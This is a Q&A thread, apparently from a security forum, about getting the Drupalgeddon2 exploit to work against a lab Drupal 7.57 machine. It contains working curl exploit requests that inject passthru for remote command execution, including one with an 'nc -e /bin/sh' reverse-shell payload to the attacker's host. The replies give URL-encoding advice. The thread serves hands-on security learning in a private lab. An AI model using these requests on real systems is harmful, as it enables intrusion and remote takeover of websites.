3

I'm trying to use the Drupalgeddon2 exploit (https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708) on drupal 7.57 ubuntu machine.

the requests:

-curl -k -s 'http://192.168.204.141/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=whoami' \ --data "form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail new Password" | grep form_build_id .

-curl -k -i "http://192.168.204.141/?q=file/ajax/name/%23value/${form_build_id}" \ --data "form_build_id=${form_build_id}".

execute along with any other command (ls,cd...) and print a result.

but when I send the curl request:

curl -k -s 'http://192.168.204.141/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=nc-e/bin/sh 192.168.204.128 5555'--data "form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail new Password" | grep form_build_id .

It doesn't print anything (form_build_id) not even an error, and the target doesn't connect to handler. where do you think is the problem?

I have tried other payloads, and they result in the same things.

4
  • 1
    did you validate netcat is installed on your target? does netcat return anything or doe sit just 'wait for input'. php does not like the latter. you might need to urlencode / escape some parts of the request.
    – LvB
    Mar 4, 2020 at 15:22
  • -netcat is installed. Mar 4, 2020 at 17:35
  • -and it doesn't return anything.the urlencoding part is where I'm stuck actually Mar 4, 2020 at 17:36
  • Try taking a look at this question regarding url encoding and curl. stackoverflow.com/questions/296536/…
    – LvB
    Mar 4, 2020 at 18:27

1 Answer 1

3

I got it to work! There were 2 problems:

  1. make sure to urlencode the payloads you send, or pass them into a variable and use the variable in the request.
  2. when trying to exploit this kind of vulnerability it is better to test on a ready-to-use test environment such as built-in docker containers in order to avoid problems with OS and application firewalls and rules in addition to networking misconfigurations.

On the other hand, if you're free and just playing with this at home, feel free to test this on virtual machines to gain even more experience and perspective.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .